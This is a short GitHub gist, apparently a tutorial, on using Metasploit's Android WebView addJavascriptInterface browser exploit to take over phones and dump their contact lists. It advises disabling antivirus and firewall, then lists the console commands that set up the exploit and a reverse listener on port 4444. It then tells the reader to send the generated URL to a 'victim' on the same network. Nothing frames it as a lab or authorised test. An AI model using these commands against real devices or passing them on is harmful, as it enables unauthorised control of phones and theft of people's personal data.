Skip to content

Instantly share code, notes, and snippets.

@AmigoDheena

AmigoDheena/Metasploit-basics.md

Created September 29, 2019 16:33
Show Gist options
  • Save AmigoDheena/abab789eb6dc084f8fd15fdc70f07b72 to your computer and use it in GitHub Desktop.
Save AmigoDheena/abab789eb6dc084f8fd15fdc70f07b72 to your computer and use it in GitHub Desktop.
Download ZIP
Get contact list from android by using Metasploit
Raw
Metasploit-basics.md

Metasploit

N|Solid

Installation

Download Metasploit from here Make sure trun off your Antivirus and Firewall before run installation After that go to the installation directory and run the below commands

$ console.bat
$ search android
$ use exploit/android/browser/webview_addjavascriptinterface
$ show options

We need to set the below module options value...

  • SRVHOST
  • LHOST
  • LPORT
  • URIPATH

Note: Replace your own IPaddress for SRVHOST and LHOST and set LPORT as 4444

$ set SRVHOST 192.168.0.1
$ set LHOST 192.168.0.1
$ set LPORT 4444
$ set URIPATH /
$ show advanced
$ set VERBOSE true
$ set ReverselistenerBindAddress 192.168.0.1
$ set ReverselistenerBindPort 4444
$ run

After that you get a Using URL like this Using URL: 192.168.0.1:8080

Send this URL to any of your victim those using in same network, If they are clicked your URL you can control them.

to get contact list

$ dump_contacts
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment